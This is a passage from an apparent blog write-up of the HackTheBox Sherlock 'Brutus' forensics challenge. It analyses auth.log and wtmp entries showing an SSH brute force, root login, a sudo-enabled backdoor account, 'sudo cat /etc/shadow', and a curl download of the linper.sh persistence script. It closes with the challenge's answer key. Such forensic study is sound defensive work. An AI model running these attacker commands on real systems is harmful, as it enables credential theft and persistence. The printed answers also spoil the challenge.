  Root Session Analysis
&lt;/h2&gt;

&lt;p&gt;The logs indicate a successful root authentication at 06:32:44. At that time, there are only three logs, and the session ID for the root user is 37. A review of the wtmp file using &lt;code&gt;wtmpdump&lt;/code&gt; reveals that the third-to-last row is a type 7 event (USER_PROCESS), where root logged in from the attacker’s IP at 06:32:45—one second after the successful authentication noted in &lt;code&gt;auth.log&lt;/code&gt;. The timestamp of this event is the answer to Task 3.&lt;/p&gt;

&lt;p&gt;Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2&lt;br&gt;&lt;br&gt;
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)&lt;br&gt;&lt;br&gt;
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root&lt;/p&gt;

&lt;p&gt;Other log types observed in &lt;code&gt;auth.log&lt;/code&gt;—besides SSH and cron—include sudo, groupadd, usermod, systemd, useradd, passwd, and chfn. To address Task 5, attention is focused on &lt;code&gt;useradd&lt;/code&gt; logs. At 06:34:18, four log entries indicate the creation of the &lt;code&gt;cyberjunkie&lt;/code&gt; user and group. Shortly afterward, the user’s password is set.&lt;/p&gt;

&lt;p&gt;Skipping over some cron activities, logs show that less than a minute later, &lt;code&gt;usermod&lt;/code&gt; is used to add &lt;code&gt;cyberjunkie&lt;/code&gt; to the sudo group. The sudo group allows users to execute any command as root using &lt;code&gt;sudo&lt;/code&gt;. Consequently, &lt;code&gt;cyberjunkie&lt;/code&gt; is the answer to Task 5.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;motasem@kali$ utmpdump wtmp   
Utmp dump of wtmp  
[2] [00000] [~~  ] [reboot  ] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-01-25T11:12:17,804944+00:00]  
[5] [00601] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,072401+00:00]  
[6] [00601] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,072401+00:00]  
[5] [00618] [tty1] [        ] [tty1        ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,080342+00:00]  
[6] [00618] [tty1] [LOGIN   ] [tty1        ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,080342+00:00]  
[1] [00053] [~~  ] [runlevel] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-01-25T11:12:33,792454+00:00]  
[7] [01284] [ts/0] [ubuntu  ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-01-25T11:13:58,354674+00:00]  
[8] [01284] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:15:12,956114+00:00]  
[7] [01483] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-01-25T11:15:40,806926+00:00]  
[8] [01404] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-01-25T12:34:34,949753+00:00]  
[7] [836798] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:33:49,408334+00:00]  
[5] [838568] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-02-11T10:39:02,172417+00:00]  
[6] [838568] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-02-11T10:39:02,172417+00:00]  
[7] [838962] [ts/1] [root    ] [pts/1       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:41:11,700107+00:00]  
[8] [838896] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-02-11T10:41:46,272984+00:00]  
[7] [842171] [ts/1] [root    ] [pts/1       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:54:27,775434+00:00]  
[8] [842073] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-02-11T11:08:04,769514+00:00]  
[8] [836694] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-02-11T11:08:04,769963+00:00]  
[1] [00000] [~~  ] [shutdown] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-02-11T11:09:18,000731+00:00]  
[2] [00000] [~~  ] [reboot  ] [~           ] [6.2.0-1018-aws      ] [0.0.0.0        ] [2024-03-06T06:17:15,744575+00:00]  
[5] [00464] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,354378+00:00]  
[6] [00464] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,354378+00:00]  
[5] [00505] [tty1] [        ] [tty1        ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,469940+00:00]  
[6] [00505] [tty1] [LOGIN   ] [tty1        ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,469940+00:00]  
[1] [00053] [~~  ] [runlevel] [~           ] [6.2.0-1018-aws      ] [0.0.0.0        ] [2024-03-06T06:17:29,538024+00:00]  
[7] [01583] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-03-06T06:19:55,151913+00:00]  
[7] [02549] [ts/1] [root    ] [pts/1       ] [65.2.161.68         ] [65.2.161.68    ] [2024-03-06T06:32:45,387923+00:00]  
[8] [02491] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-03-06T06:37:24,590579+00:00]  
[7] [02667] [ts/1] [cyberjunkie] [pts/1       ] [65.2.161.68         ] [65.2.161.68

Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002  
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie  
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002  
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts  
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie  
Mar  6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information

Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'  
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;“Create Account” is a persistence technique listed in the MITRE ATT&amp;amp;CK matrix. The specific identifier for creating a local account is &lt;a href="https://attack.mitre.org/techniques/T1136/001/" rel="noopener noreferrer"&gt;T1136.001&lt;/a&gt; (Task 6).&lt;/p&gt;

&lt;p&gt;The session disconnects shortly afterward, with the total session duration recorded as 06:32:45 to 06:37:24, amounting to 279 seconds (Task 7).&lt;/p&gt;

&lt;h2&gt;
  
  
  Cyberjunkie Session Analysis
&lt;/h2&gt;

&lt;p&gt;The auth.log file shows another successful authentication by the newly created user, &lt;em&gt;cyberjunkie&lt;/em&gt;, at 06:37:34, with wtmp confirming the session began one second later.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2  
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user cyberjunkie(uid=1002) by (uid=0)  
Mar  6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie.  
Mar  6 06:37:34 ip-172-31-35-28 systemd: pam_unix(systemd-user:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After logging in, the user performs a few actions recorded in auth.log. At 06:37:57, they use sudo to print the contents of the &lt;code&gt;/etc/shadow&lt;/code&gt; file, which contains password hashes for system users.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow  
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)  
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Approximately a minute later, they download the script &lt;code&gt;linper.sh&lt;/code&gt; from GitHub using the command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh  
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)  
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Attack Timeline
&lt;/h2&gt;

&lt;p&gt;Here’s the timeline summarized and organized:&lt;/p&gt;

&lt;p&gt;Time (UTC)Event DescriptionSource06:18:01First log entry recorded&lt;code&gt;auth.log&lt;/code&gt;06:31:33SSH brute force attack begins&lt;code&gt;auth.log&lt;/code&gt;06:31:40Successful SSH login as root&lt;code&gt;auth.log&lt;/code&gt;06:31:42SSH brute force attack ends&lt;code&gt;auth.log&lt;/code&gt;06:32:44Root user logs in via SSH&lt;code&gt;auth.log&lt;/code&gt;06:32:45Root terminal session initiated&lt;code&gt;wtmp&lt;/code&gt;06:34:18“cyberjunkie” user and group created&lt;code&gt;auth.log&lt;/code&gt;06:35:15“cyberjunkie” added to the sudo group&lt;code&gt;auth.log&lt;/code&gt;06:37:24Root session disconnects&lt;code&gt;auth.log&lt;/code&gt;06:37:34“cyberjunkie” logs in via SSH&lt;code&gt;auth.log&lt;/code&gt;06:37:35“cyberjunkie” terminal session initiated&lt;code&gt;wtmp&lt;/code&gt;06:37:57“cyberjunkie” accesses &lt;code&gt;/etc/shadow&lt;/code&gt; file&lt;code&gt;auth.log&lt;/code&gt;06:39:38“cyberjunkie” downloads &lt;code&gt;linper.shauth.log&lt;/code&gt;06:41:01Final log entry recorded&lt;code&gt;auth.log&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  HackTheBox Sherlock Brutus Questions and answers
&lt;/h2&gt;

&lt;p&gt;Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?&lt;/p&gt;

&lt;p&gt;65.2.161.68&lt;/p&gt;

&lt;p&gt;The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?&lt;/p&gt;

&lt;p&gt;root&lt;/p&gt;

&lt;p&gt;Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?&lt;/p&gt;

&lt;p&gt;2024–03–06 06:32:45&lt;/p&gt;

&lt;p&gt;SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?&lt;/p&gt;

&lt;p&gt;37&lt;/p&gt;

&lt;p&gt;The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?&lt;/p&gt;

&lt;p&gt;cyberjunkie&lt;/p&gt;

&lt;p&gt;What is the MITRE ATT&amp;amp;CK sub-technique ID used for persistence?&lt;/p&gt;

&lt;p&gt;T1136.001&lt;/p&gt;

&lt;p&gt;How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)&lt;/p&gt;

&lt;p&gt;279&lt;/p&gt;

&lt;p&gt;The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?&lt;/p&gt;

&lt;p&gt;/usr/bin/curl &lt;a href="https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh" rel="noopener noreferrer"&gt;https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  You can also watch:
&lt;/h2&gt;

&lt;p&gt;

  &lt;iframe src="https://www.youtube.com/embed/hqqKTs5a_xw"&gt;
  &lt;/iframe&gt;


&lt;/p&gt;

</description>
      <category>security</category>
      <category>tutorial</category>
      <category>cybersecurity</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
